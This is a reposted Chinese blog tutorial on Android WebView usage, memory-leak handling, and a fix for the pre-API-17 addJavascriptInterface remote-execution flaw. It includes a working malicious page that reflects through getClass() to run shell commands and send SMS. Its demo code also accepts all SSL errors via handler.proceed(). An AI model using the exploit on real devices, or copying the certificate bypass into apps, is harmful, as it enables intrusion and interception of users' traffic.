Android_Webview的使用/内存优化/远程执行漏洞处理

来源:互联网 发布:iphone6splus精仿淘宝 编辑:程序博客网 时间:2024/06/05 09:01

Android_Webview的使用/内存优化/远程执行漏洞处理


本文由 Luzhuo 编写,转发请保留该信息.
原文: http://blog.csdn.net/Rozol/article/details/73808619


Android_Webview的基本使用
内存优化
api<17时的远程执行漏洞处理

WebView使用详解

使用案例

完整代码参考

package me.luzhuo.webviewdemo.webview;import android.graphics.Bitmap;import android.net.http.SslError;import android.os.Build;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.text.TextUtils;import android.util.Log;import android.view.KeyEvent;import android.view.View;import android.view.ViewGroup;import android.webkit.JavascriptInterface;import android.webkit.JsPromptResult;import android.webkit.JsResult;import android.webkit.SslErrorHandler;import android.webkit.WebChromeClient;import android.webkit.WebSettings;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.LinearLayout;import android.widget.RelativeLayout;import org.json.JSONArray;import org.json.JSONObject;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import me.luzhuo.webviewdemo.R;import me.luzhuo.webviewdemo.utils.NetUtils;/** * ================================================= * <p> * Author: Luzhuo * <p> * Version: 1.0 * <p> * Creation Date: 2017/6/22 18:00 * <p> * Description: 混合开发完整代码 * <p> * Revision History: * <p> * Copyright: Copyright 2017 Luzhuo. All rights reserved. * <p> * ================================================= **/public class HybridActivity extends AppCompatActivity {    private final String TAG = WebViewJSActivity.class.getSimpleName();    private RelativeLayout webview_layout;    private WebView webview;    private String url = "http://luzhuo.me/android/case/webview/webview_js.html";//    private String url = "http://www.baidu.com";    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_js);        webview_layout = (RelativeLayout) findViewById(R.id.webview_layout);        initView();        initData();    }    private void initView(){        LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);        webview = new WebView(getApplicationContext());        webview.setLayoutParams(params);        webview_layout.addView(webview);        WebSettings webSettings = webview.getSettings();        webview.setWebViewClient(webViewClient);        webview.setWebChromeClient(webChromeClient);        jsEnabled(webSettings, true); // 启用JS        optimization(webSettings); // 优化    }    /**     * 请求事件     */    WebViewClient webViewClient = new WebViewClient() {        @Override        public boolean shouldOverrideUrlLoading(WebView view, String url) {            view.loadUrl(url);            return true; // true不使用系统浏览器        }        // 加载通知        @Override        public void onPageStarted(WebView view, String url, Bitmap favicon) {            // 准备加载        }        @Override        public void onPageFinished(WebView view, String url) {            // 加载完成            // 加载新的页面时,都需要注入js片段            injectJavascriptInterfaces();        }        @Override        public void onLoadResource(WebView view, String url) {            // 每个资源的加载都会调用        }        @Override        public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {            // 网页加载失败时的处理            switch(errorCode) {                case 404: // 访问的页面不存在                    // ...                    break;            }        }        @Override        public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {            // https的处理            handler.proceed(); // 等待证书响应        }    };    /**     * 辅助     */    WebChromeClient webChromeClient = new WebChromeClient() {        @Override        public void onProgressChanged(WebView view, int newProgress) {            // 加载进度            if (newProgress >= 100)  return;            Log.e(TAG, "onProgressChanged: " + newProgress + "%");        }        @Override        public void onReceivedTitle(WebView view, String title) {            // 获取标题            Log.e(TAG, "onReceivedTitle: " + title);        }        // 弹框处理        @Override        public boolean onJsAlert(WebView view, String url, String message, JsResult result) {            // 警告框            return false; // false(默认)不处理        }        @Override        public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {            // 提示框            if (parseJsInterface(message, result)) return true;            return false; // false(默认)不处理        }        @Override        public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {            // 确认框            return false; // false(默认)不处理        }    };    private void initData(){        // 加载网页        webview.loadUrl(url);    }    @Override    protected void onDestroy() {        // 销毁webview        if (webview != null) {            webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);            webview.clearHistory();            webview_layout.removeView(webview);            webview.removeAllViews();            webview.destroy();            webview = null;        }        super.onDestroy();    }    /**     * 后退     * @param keyCode     * @param event     * @return     */    @Override    public boolean onKeyDown(int keyCode, KeyEvent event) {        if (keyCode == KeyEvent.KEYCODE_BACK && webview.canGoBack()) {            webview.goBack();            return true;        }        return super.onKeyDown(keyCode, event);    }    private void optimization(WebSettings webSettings){        // 屏幕自适应        webSettings.setUseWideViewPort(false); // 调整图片至合适大小 (true会导致无限滚屏)        webSettings.setLoadWithOverviewMode(false); // 缩放至合适大小        // 支持缩放        webSettings.setSupportZoom(false); //支持缩放        webSettings.setBuiltInZoomControls(false); // 允许使用内置的缩放控件        webSettings.setDisplayZoomControls(false); // 使用原生的缩放控件        // 缓存策略: LOAD_CACHE_ONLY:不使用网络,只读取本地缓存数据; LOAD_DEFAULT:(默认)根据cache-control决定是否从网络上取数据; LOAD_NO_CACHE: 不使用缓存,只从网络获取数据; LOAD_CACHE_ELSE_NETWORK:只要本地有,都使用缓存中的数据        if (NetUtils.isConnected(this)) webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE);        else webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);        // 可以访问文件        webSettings.setAllowFileAccess(true);        // 支持通过JS打开新窗口        webSettings.setJavaScriptCanOpenWindowsAutomatically(true);        // 支持自动加载图片        webSettings.setLoadsImagesAutomatically(true);        // 设置编码格式        webSettings.setDefaultTextEncodingName("utf-8");        // 安全        webSettings.setSavePassword(false); // false不许明文密码保存        webSettings.setAllowFileAccess(false); // false不许使用file协议        if (Build.VERSION.SDK_INT >= 16) {            webSettings.setAllowFileAccessFromFileURLs(false); // false为js不许读取本地文件, api≤16:默认允许, api≥17:默认关闭            webSettings.setAllowUniversalAccessFromFileURLs(false); // false为js不许读取其他资源链接, api≤16:默认允许, api≥17:默认关闭        }        // 移除危险的注入对象(api≥11 && api<17)        if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 17) {            webview.removeJavascriptInterface("searchBoxJavaBridge_");            webview.removeJavascriptInterface("accessibility");            webview.removeJavascriptInterface("accessibilityTraversal");        }    }    /**     * 启用js     * @param enabled 是否启用js, true启用     */    private void jsEnabled(WebSettings webSettings, boolean enabled){        final String name = "callJS";        webSettings.setJavaScriptEnabled(enabled); // 支持js        // java / js 互调        if(enabled){            // api≥17时,使用系统的, 否则自己处理注入方式            if (Build.VERSION.SDK_INT >= 17) webview.addJavascriptInterface(new CallJS(), name);            else javascriptInterfaces.put(name, new CallJS());        }else{            if (Build.VERSION.SDK_INT >= 17){                webview.removeJavascriptInterface(name);            }else{                javascriptInterfaces.remove(name);                jsCache = null;                injectJavascriptInterfaces();            }        }    }    class CallJS{        /**         * 给js调用的无参方法, js通过: var str = window.callJS.JSCallJava(); 调用         * @return 给js的返回值         */        @JavascriptInterface        public String JSCallJava() {            String content = "JSCallJava";            Log.e(TAG, content);            return content;        }        /**         * 给js调用的有参方法, js通过: var str = window.callJS.JSCallJava2("i am js."); 调用         * @param param js提供的参数         * @return 给js的返回值         */        @JavascriptInterface        public String JSCallJava2(String param) {            String content = "JSCallJava2: ".concat(param);            Log.e(TAG, content);            return content;        }    }    public void calljs(View view){        JavaCallJS();    }    public void calljs_c(View view){        JavaCallJS2("i am java.");    }    /**     * 调用js的无参方法, webview通过:  webview.loadUrl("javascript:calljs()"); 调用     */    public void JavaCallJS() {        webview.loadUrl("javascript:calljs()");    }    /**     * 调用js的有参方法, webview通过: webview.loadUrl("javascript:calljs2('i am java.')"); 调用     * @param arg 传给     */    public void JavaCallJS2(String arg) {        webview.loadUrl("javascript:calljs2('" + arg + "')");    }    // ================================ api<17, 防攻击代码 ↓ =================================    private HashMap<String, Object> javascriptInterfaces = new HashMap<>();    private String jsCache = null; // js防攻击片段    /**     * 注入防攻击js片段,并加载     */    private void injectJavascriptInterfaces() {        if (!TextUtils.isEmpty(jsCache)) {            webview.loadUrl(jsCache);            return;        }        if (javascriptInterfaces.size() == 0) {            jsCache = null;        }        /*         * 防攻击js片段         * 生成XXX_obj对象的所有方法         *         * javascript:(function addJavascriptInterface(){         *   if(typeof(window.XXX_obj)!='undefined'){         *       console.log('window.XXX_obj is exist!!');         *   }else{         *       window.XXX_obj={         *           XXX_method:function(arg0,arg1){         *               return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));         *           },         *       };         *   }         * })()         */        // 生成        Iterator<Map.Entry<String, Object>> iterator = javascriptInterfaces.entrySet().iterator();        StringBuilder jsScript = new StringBuilder();        jsScript.append("javascript:(function addJavascriptInterface(){");        // 遍历待注入java对象,生成相应的js对象        try {            while (iterator.hasNext()) {                Map.Entry<String, Object> entry = iterator.next();                String interfaceName = entry.getKey();                Object obj = entry.getValue();                // 生成相应的js方法                createJsMethod(interfaceName, obj, jsScript);            }        } catch (Exception e) {            e.printStackTrace();        }        jsScript.append("})()");        jsCache = jsScript.toString();        webview.loadUrl(jsCache);    }    /**     * 生成js方法     */    private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {        if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {            return;        }        Class<? extends Object> objClass = obj.getClass();        // if(typeof(window.XXX_obj)!='undefined'){        script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");        // console.log('window.XXX_obj is exist!!');        script.append("    console.log('window." + interfaceName + " is exist!!');");        script.append("}else{");        // window.XXX_obj={        script.append("    window.").append(interfaceName).append("={");        // 通过反射机制, 添加java对象的方法        Method[] methods = objClass.getMethods();        for (Method method : methods) {            String methodName = method.getName();            // 过滤掉Object类中的一些危险的方法,如getClass()方法            if (filterMethods(methodName)) continue;            // XXX_method:function(arg0,arg1){            script.append("        ").append(methodName).append(":function(");            int argCount = method.getParameterTypes().length;            if (argCount > 0) {                int maxCount = argCount - 1;                for (int i = 0; i < maxCount; ++i) {                    script.append("arg").append(i).append(",");                }                script.append("arg").append(argCount - 1);            }            script.append(") {");            // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));            if (method.getReturnType() != void.class) {                script.append("            return ").append("prompt('").append("MyApp:").append("'+");            } else {                script.append("            prompt('").append("MyApp:").append("'+");            }            script.append("JSON.stringify({");            script.append("obj").append(":'").append(interfaceName).append("',");            script.append("func").append(":'").append(methodName).append("',");            script.append("args").append(":[");            if (argCount > 0) {                int max = argCount - 1;                for (int i = 0; i < max; i++) {                    script.append("arg").append(i).append(",");                }                script.append("arg").append(max);            }            script.append("]})");            script.append(");");            script.append("        }, ");        }        script.append("    };");        script.append("}");    }    /**     * 过滤掉一些危险的方法     */    private static final String[] filterMethods = {            "getClass",            "hashCode",            "notify",            "notifyAll",            "equals",            "toString",            "wait",    };    /**     * 检查是否是被过滤的方法     */    private boolean filterMethods(String methodName) {        for (String method : filterMethods) {            if (method.equals(methodName)) {                return true;            }        }        return false;    }    /**     * 解析JavaScript调用prompt的参数message     * 解析出提类名,方法名,参数列表,然后利用反射调用java对象方法     */    private boolean parseJsInterface(String message, JsPromptResult result) {        if (!message.startsWith("MyApp:")) {            return false;        }        // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));        String jsonStr = message.substring("MyApp:".length());        try {            JSONObject jsonObj = new JSONObject(jsonStr);            String interfaceName = jsonObj.getString("obj");            String methodName = jsonObj.getString("func");            JSONArray argsArray = jsonObj.getJSONArray("args");            Object[] args = null;            if (null != argsArray) {                int count = argsArray.length();                if (count > 0) {                    args = new Object[count];                    for (int i = 0; i < count; ++i) {                        Object arg = argsArray.get(i);                        if (!arg.toString().equals("null")) args[i] = arg;                        else args[i] = null;                    }                }            }            if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {                return true;            }        } catch (Exception e) {            e.printStackTrace();        }        result.cancel();        return false;    }    /**     * 利用反射, 调用java对象的方法     */    private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {        boolean succeed = false;        final Object obj = javascriptInterfaces.get(interfaceName);        if (null == obj) {            result.cancel();            return false;        }        Class<?>[] parameterTypes = null;        int count = 0;        if (args != null) {            count = args.length;        }        if (count > 0) {            parameterTypes = new Class[count];            for (int i = 0; i < count; ++i) {                parameterTypes[i] = getClassFromJsonObject(args[i]);            }        }        try {            Method method = obj.getClass().getMethod(methodName, parameterTypes);            Object returnObj = method.invoke(obj, args);            boolean isVoid = returnObj == null || returnObj.getClass() == void.class;            String returnValue = isVoid ? "" : returnObj.toString();            result.confirm(returnValue); // 通过prompt()返回调用结果            succeed = true;        } catch (NoSuchMethodException e) {            e.printStackTrace();        } catch (Exception e) {            e.printStackTrace();        }        result.cancel();        return succeed;    }    /**     * 解析参数类型     */    private Class<?> getClassFromJsonObject(Object obj) {        Class<?> cls = obj.getClass();        if (cls == Integer.class) {            cls = Integer.TYPE;        } else if (cls == Boolean.class) {            cls = Boolean.TYPE;        } else {            cls = String.class;        }        return cls;    }    // ================================ api<17, 防攻击代码 ↑ =================================}

最基本的使用

package me.luzhuo.webviewdemo.webview;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.view.ViewGroup;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.LinearLayout;import android.widget.RelativeLayout;import me.luzhuo.webviewdemo.R;/** * ================================================= * <p> * Author: Luzhuo * <p> * Version: 1.0 * <p> * Creation Date: 2017/6/15 17:26 * <p> * Description: WebView最基本的使用, 比如用于加载版权声明页面 * <p> * Revision History: * <p> * Copyright: Copyright 2017 Luzhuo. All rights reserved. * <p> * ================================================= **/public class WebViewBaseUseActivity extends AppCompatActivity {    private RelativeLayout webview_layout;    private WebView webview;    private String url = "https://www.baidu.com";    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_html5);        webview_layout = (RelativeLayout) findViewById(R.id.webview_layout);        initView();        initData();    }    private void initView(){        LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);        webview = new WebView(getApplicationContext());        webview.setLayoutParams(params);        webview_layout.addView(webview);        WebSettings webSettings = webview.getSettings();        if (NetUtils.isConnected(this)) webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE);        else webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);        webview.setWebViewClient(webViewClient);    }    WebViewClient webViewClient = new WebViewClient() {        @Override        public boolean shouldOverrideUrlLoading(WebView view, String url) {            view.loadUrl(url);            return true;        }    };    private void initData(){        // 加载网页        webview.loadUrl(url);        // 加载资源路径格式        // https://www.baidu.com        // file:///android_asset/test.html        // content://com.android.htmlfileprovider/sdcard/test.html    }    @Override    protected void onDestroy() {        // 销毁webview        if (webview != null) {            webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);            webview.clearHistory();            webview_layout.removeView(webview);            webview.removeAllViews();            webview.destroy();            webview = null;        }        super.onDestroy();    }}

内存泄露优化

  • 优化处理(代码见最基本的使用):
    • 创建:
      • 在需要的时候创建WebView并添加到指定容器里
      • new WebView(context)是,context使用getApplicationContext(),这样可避免WebView影响Activity的回收而造成内存泄露
    • 销毁:
      • 先让WebView加载null内容(会停止之前未加载完成的页面),
      • 然后将WebView从父容器移除,
      • webview也移除所有view,
      • 接着销毁WebView,
      • 然后置为null,
      • 最后Activity就可以安全的销毁了
  • 使用webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);会停止加载之前未加载完成的页面,左边是加了这行代码的效果,右边是没加这行代码的效果
  • 经过优化,内存的使用量维持在一定的水平;未经过优化,内存的使用量真是一路向西呀.左图是经过优化处理的代码,右图是直接将WebView写在XML布局里,并在Activity销毁时调用webview.destroy();方法

WebView与JS相互调用的代码

package me.luzhuo.webviewdemo.webview;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.util.Log;import android.view.View;import android.view.ViewGroup;import android.webkit.JavascriptInterface;import android.webkit.WebSettings;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.LinearLayout;import android.widget.RelativeLayout;import me.luzhuo.webviewdemo.R;/** * ================================================= * <p> * Author: Luzhuo * <p> * Version: 1.0 * <p> * Creation Date: 2017/6/15 17:26 * <p> * Description: WebView与JS相互调用的案例代码, 经常用于移动端混合开发 * <p> * Revision History: * <p> * Copyright: Copyright 2017 Luzhuo. All rights reserved. * <p> * ================================================= **/public class WebViewJSActivity extends AppCompatActivity {    private final String TAG = WebViewJSActivity.class.getSimpleName();    private RelativeLayout webview_layout;    private WebView webview;    private String url = "http://luzhuo.me/android/case/webview/webview_js.html";    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_js);        webview_layout = (RelativeLayout) findViewById(R.id.webview_layout);        initView();        initData();    }    private void initView(){        LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);        webview = new WebView(getApplicationContext());        webview.setLayoutParams(params);        webview_layout.addView(webview);        WebSettings webSettings = webview.getSettings();        webview.setWebViewClient(webViewClient);        jsEnabled(webSettings, true); // 启用JS    }    WebViewClient webViewClient = new WebViewClient() {        @Override        public boolean shouldOverrideUrlLoading(WebView view, String url) {            view.loadUrl(url);            return true;        }    };    private void initData(){        // 加载网页        webview.loadUrl(url);    }    @Override    protected void onDestroy() {        // 销毁webview        if (webview != null) {            webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);            webview.clearHistory();            webview_layout.removeView(webview);            webview.removeAllViews();            webview.destroy();            webview = null;        }        super.onDestroy();    }    /**     * 启用js     * @param enabled 是否启用js, true启用     */    private void jsEnabled(WebSettings webSettings, boolean enabled){        final String name = "callJS";        webSettings.setJavaScriptEnabled(enabled); // 支持js        // java / js 互调        if(enabled) webview.addJavascriptInterface(this, name);        else webview.removeJavascriptInterface(name);    }    public void calljs(View view){        JavaCallJS();    }    public void calljs_c(View view){        JavaCallJS2("i am java.");    }    /**     * 给js调用的无参方法, js通过: var str = window.callJS.JSCallJava(); 调用     * @return 给js的返回值     */    @JavascriptInterface    public String JSCallJava() {        String content = "JSCallJava";        Log.e(TAG, content);        return content;    }    /**     * 给js调用的有参方法, js通过: var str = window.callJS.JSCallJava2("i am js."); 调用     * @param param js提供的参数     * @return 给js的返回值     */    @JavascriptInterface    public String JSCallJava2(String param) {        String content = "JSCallJava2: ".concat(param);        Log.e(TAG, content);        return content;    }    /**     * 调用js的无参方法, webview通过:  webview.loadUrl("javascript:calljs()"); 调用     */    public void JavaCallJS() {        webview.loadUrl("javascript:calljs()");    }    /**     * 调用js的有参方法, webview通过: webview.loadUrl("javascript:calljs2('i am java.')"); 调用     * @param arg 传给     */    public void JavaCallJS2(String arg) {        webview.loadUrl("javascript:calljs2('" + arg + "')");    }}
  • 结果

远程执行漏洞

  • 含有恶意代码的网页

    <!DOCTYPE HTML><html>    <head>        <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />        <title>WebView安全漏洞</title>        <script type="text/javascript">        function getContents(inputStream) {              var contents = "";            var bytes = inputStream.read();            while(bytes != -1) {                var str = String.fromCharCode(bytes);                contents += str;                contents += "\r\n"                bytes = inputStream.read();            }                return contents;        }        function execute(cmdArgs){            for (var obj in window) {                if ("getClass" in window[obj]) {                    return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);                }            }            return null;        }        var res = execute(["ls","/mnt/sdcard/"]);        if (res != null) {            document.write(getContents(res.getInputStream()));        }        function sendMessage(){            for (var obj in window) {                if ("getClass" in window[obj]) {                    // 发短信                    var smsManager = window[obj].getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);                    smsManager.sendTextMessage("10086",null,"this a message from js.");                }            }        }        </script>    </head>    <body>    </body></html>
  • 这是修复api<17远程执行漏洞的代码(api≥17,系统已修复该漏洞)

    package me.luzhuo.webviewdemo.webview;import android.os.Build;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.text.TextUtils;import android.util.Log;import android.view.View;import android.view.ViewGroup;import android.webkit.JavascriptInterface;import android.webkit.JsPromptResult;import android.webkit.WebChromeClient;import android.webkit.WebSettings;import android.webkit.WebView;import android.webkit.WebViewClient;import android.widget.LinearLayout;import android.widget.RelativeLayout;import org.json.JSONArray;import org.json.JSONObject;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import me.luzhuo.webviewdemo.R;public class WebViewHolesActivity extends AppCompatActivity {    private final String TAG = WebViewHolesActivity.class.getSimpleName();    private RelativeLayout webview_layout;    private WebView webview;    private String url = "http://luzhuo.me/android/case/webview/webview_holes.html";    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_holes);        webview_layout = (RelativeLayout) findViewById(R.id.webview_layout);        initView();        initData();    }    private void initView(){        LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);        webview = new WebView(getApplicationContext());        webview.setLayoutParams(params);        webview_layout.addView(webview);        WebSettings webSettings = webview.getSettings();        webview.setWebViewClient(webViewClient);        webview.setWebChromeClient(webChromeClient);        jsEnabled(webSettings, true); // 启用JS        optimization(webSettings); // 安全优化    }    WebViewClient webViewClient = new WebViewClient() {        @Override        public boolean shouldOverrideUrlLoading(WebView view, String url) {            view.loadUrl(url);            return true;        }        @Override        public void onPageFinished(WebView view, String url) {            // 加载新的页面时,都需要注入js片段            injectJavascriptInterfaces();        }    };    WebChromeClient webChromeClient = new WebChromeClient() {        @Override        public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {            if (parseJsInterface(message, result)) return true;            return false;        }    };    private void initData(){        // 加载网页        webview.loadUrl(url);    }    @Override    protected void onDestroy() {        // 销毁webview        if (webview != null) {            webview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);            webview.clearHistory();            webview_layout.removeView(webview);            webview.removeAllViews();            webview.destroy();            webview = null;        }        super.onDestroy();    }    /**     * 启用js     * @param enabled 是否启用js, true启用     */    private void jsEnabled(WebSettings webSettings, boolean enabled){        final String name = "webviewHoles";        webSettings.setJavaScriptEnabled(enabled); // 支持js        // java / js 互调        if(enabled){            // api≥17时,使用系统的, 否则自己处理注入方式            if (Build.VERSION.SDK_INT >= 17) webview.addJavascriptInterface(new WebviewHoles(), name);            else javascriptInterfaces.put(name, new WebviewHoles());        }else{            if (Build.VERSION.SDK_INT >= 17){                webview.removeJavascriptInterface(name);            }else{                javascriptInterfaces.remove(name);                jsCache = null;                injectJavascriptInterfaces();            }        }    }    /**     * 安全相关优化     * @param webSettings     */    private void optimization(WebSettings webSettings){        // 安全        webSettings.setSavePassword(false); // false不许明文密码保存        webSettings.setAllowFileAccess(false); // false不许使用file协议        if (Build.VERSION.SDK_INT >= 16) {            webSettings.setAllowFileAccessFromFileURLs(false); // false为js不许读取本地文件, api≤16:默认允许, api≥17:默认关闭            webSettings.setAllowUniversalAccessFromFileURLs(false); // false为js不许读取其他资源链接, api≤16:默认允许, api≥17:默认关闭        }        // 移除危险的注入对象(api≥11 && api<17)        if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 17) {            webview.removeJavascriptInterface("searchBoxJavaBridge_"); // 存在执行远程代码执行的威胁            webview.removeJavascriptInterface("accessibility"); // 存在执行远程代码执行的威胁            webview.removeJavascriptInterface("accessibilityTraversal"); // 存在执行远程代码执行的威胁        }    }    public void send(View view){        webview.loadUrl("javascript:sendMessage()");    }    /**     * 被js访问的类     */    class WebviewHoles{        /**         * api≥17,被js调用的方法必须被 @JavascriptInterface 注解         * @return         */        @JavascriptInterface        public String JSCallJava() {            String content = "JSCallJava";            Log.e(TAG, content);            return content;        }    }    // ================================ api<17, 防攻击代码 ↓ =================================    private HashMap<String, Object> javascriptInterfaces = new HashMap<>();    private String jsCache = null; // js防攻击片段    /**     * 注入防攻击js片段,并加载     */    private void injectJavascriptInterfaces() {        if (!TextUtils.isEmpty(jsCache)) {            webview.loadUrl(jsCache);            return;        }        if (javascriptInterfaces.size() == 0) {            jsCache = null;        }        /*         * 防攻击js片段         * 生成XXX_obj对象的所有方法         *         * javascript:(function addJavascriptInterface(){         *   if(typeof(window.XXX_obj)!='undefined'){         *       console.log('window.XXX_obj is exist!!');         *   }else{         *       window.XXX_obj={         *           XXX:function(arg0,arg1){         *               return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));         *           },         *       };         *   }         * })()         */        // 生成        Iterator<Map.Entry<String, Object>> iterator = javascriptInterfaces.entrySet().iterator();        StringBuilder jsScript = new StringBuilder();        jsScript.append("javascript:(function addJavascriptInterface(){");        // 遍历待注入java对象,生成相应的js对象        try {            while (iterator.hasNext()) {                Map.Entry<String, Object> entry = iterator.next();                String interfaceName = entry.getKey();                Object obj = entry.getValue();                // 生成相应的js方法                createJsMethod(interfaceName, obj, jsScript);            }        } catch (Exception e) {            e.printStackTrace();        }        jsScript.append("})()");        jsCache = jsScript.toString();        webview.loadUrl(jsCache);    }    /**     * 生成js方法     */    private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {        if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {            return;        }        Class<? extends Object> objClass = obj.getClass();        // if(typeof(window.XXX_obj)!='undefined'){        script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");        // console.log('window.XXX_obj is exist!!');        script.append("    console.log('window." + interfaceName + " is exist!!');");        script.append("}else{");        // window.XXX_obj={        script.append("    window.").append(interfaceName).append("={");        // 通过反射机制, 添加java对象的方法        Method[] methods = objClass.getMethods();        for (Method method : methods) {            String methodName = method.getName();            // 过滤掉Object类中的一些危险的方法,如getClass()方法            if (filterMethods(methodName)) continue;            // XXX:function(arg0,arg1){            script.append("        ").append(methodName).append(":function(");            int argCount = method.getParameterTypes().length;            if (argCount > 0) {                int maxCount = argCount - 1;                for (int i = 0; i < maxCount; ++i) {                    script.append("arg").append(i).append(",");                }                script.append("arg").append(argCount - 1);            }            script.append(") {");            // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));            if (method.getReturnType() != void.class) {                script.append("            return ").append("prompt('").append("MyApp:").append("'+");            } else {                script.append("            prompt('").append("MyApp:").append("'+");            }            script.append("JSON.stringify({");            script.append("obj").append(":'").append(interfaceName).append("',");            script.append("func").append(":'").append(methodName).append("',");            script.append("args").append(":[");            if (argCount > 0) {                int max = argCount - 1;                for (int i = 0; i < max; i++) {                    script.append("arg").append(i).append(",");                }                script.append("arg").append(max);            }            script.append("]})");            script.append(");");            script.append("        }, ");        }        script.append("    };");        script.append("}");    }    /**     * 过滤掉一些危险的方法     */    private static final String[] filterMethods = {            "getClass",            "hashCode",            "notify",            "notifyAll",            "equals",            "toString",            "wait",    };    /**     * 检查是否是被过滤的方法     */    private boolean filterMethods(String methodName) {        for (String method : filterMethods) {            if (method.equals(methodName)) {                return true;            }        }        return false;    }    /**     * 解析JavaScript调用prompt的参数message     * 解析出提类名,方法名,参数列表,然后利用反射调用java对象方法     */    private boolean parseJsInterface(String message, JsPromptResult result) {        if (!message.startsWith("MyApp:")) {            return false;        }        // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));        String jsonStr = message.substring("MyApp:".length());        try {            JSONObject jsonObj = new JSONObject(jsonStr);            String interfaceName = jsonObj.getString("obj");            String methodName = jsonObj.getString("func");            JSONArray argsArray = jsonObj.getJSONArray("args");            Object[] args = null;            if (null != argsArray) {                int count = argsArray.length();                if (count > 0) {                    args = new Object[count];                    for (int i = 0; i < count; ++i) {                        Object arg = argsArray.get(i);                        if (!arg.toString().equals("null")) args[i] = arg;                        else args[i] = null;                    }                }            }            if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {                return true;            }        } catch (Exception e) {            e.printStackTrace();        }        result.cancel();        return false;    }    /**     * 利用反射, 调用java对象的方法     */    private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {        boolean succeed = false;        final Object obj = javascriptInterfaces.get(interfaceName);        if (null == obj) {            result.cancel();            return false;        }        Class<?>[] parameterTypes = null;        int count = 0;        if (args != null) {            count = args.length;        }        if (count > 0) {            parameterTypes = new Class[count];            for (int i = 0; i < count; ++i) {                parameterTypes[i] = getClassFromJsonObject(args[i]);            }        }        try {            Method method = obj.getClass().getMethod(methodName, parameterTypes);            Object returnObj = method.invoke(obj, args);            boolean isVoid = returnObj == null || returnObj.getClass() == void.class;            String returnValue = isVoid ? "" : returnObj.toString();            result.confirm(returnValue); // 通过prompt()返回调用结果            succeed = true;        } catch (NoSuchMethodException e) {            e.printStackTrace();        } catch (Exception e) {            e.printStackTrace();        }        result.cancel();        return succeed;    }    /**     * 解析参数类型     */    private Class<?> getClassFromJsonObject(Object obj) {        Class<?> cls = obj.getClass();        if (cls == Integer.class) {            cls = Integer.TYPE;        } else if (cls == Boolean.class) {            cls = Boolean.TYPE;        } else {            cls = String.class;        }        return cls;    }    // ================================ api<17, 防攻击代码 ↑ =================================}
  • 这个漏洞是远程执行漏洞,从window中调用getClass()获取class对象,然后通过反射机制调用java中的任何代码

    return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);var smsManager = window[obj].getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);smsManager.sendTextMessage("10086",null,"this a message from js.");
